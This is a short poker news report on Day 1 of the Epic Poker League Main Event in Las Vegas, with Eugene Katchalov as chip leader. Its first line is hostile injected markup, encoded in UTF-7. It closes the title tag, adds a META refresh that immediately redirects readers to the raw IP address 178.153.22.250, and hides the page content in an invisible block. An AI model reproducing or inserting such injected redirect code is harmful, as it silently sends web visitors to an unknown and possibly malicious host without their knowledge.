+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

The first-ever Epic Poker League Main Event is currently underway at Las Vegas’ Palms Resort Casino, and no player is looking sharper than Eugene Katchalov, a professional poker player known for his live tournament prowess.

The EPL Main Event, which includes a $20k buy-in, $400k in added money from sponsors, and a complete lack of rake, attracted a total of 137 players. After six levels of play, each comprising 90 minutes of action, Katchalov led a field of 63 remaining players with a chip stack measuring just over 356,000.

Katchalov’s performance is especially impressive when you consider the players that didn’t make it through Day 1: Michael Mizrachi, Joseph Cheong, JC Tran, Chris Moorman, Vanessa Rousso, Barry Greenstein, Andrew Lichtenberger and Phil Hellmuth among them.

A long list of players are still vying for the title, which will include a first-place prize of just under $1 million. Some of the more famous pros in the hunt include Jason Mercier, Antonio Esfandiari, Sorel Mizzi, Sam Stein, McLean Karr, Dan O’Brien, Justin Bonomo and Isaac Baron. Ben Lamb, who has a spot reserved in the November Nine after what many described as the most dominant World Series of Poker performance of the year, is also eyeing up Katchalov’s chip stack.

A prize pool of over $3 million will be distributed among the 18 top finishers, with no less than $43k reserved for those who barely break the money bubble.

The unique structure of the Epic Poker League puts more at stake than just the money prize pool. Three additional main events will be played between now and February of 2012, and the 27 biggest cash earners across all four EPL events will receive invitations to the EPL Championship scheduled for February 13 and 14. $500k is reserved for the winner of that event, a $1 million freeroll that will pay the six top finishers.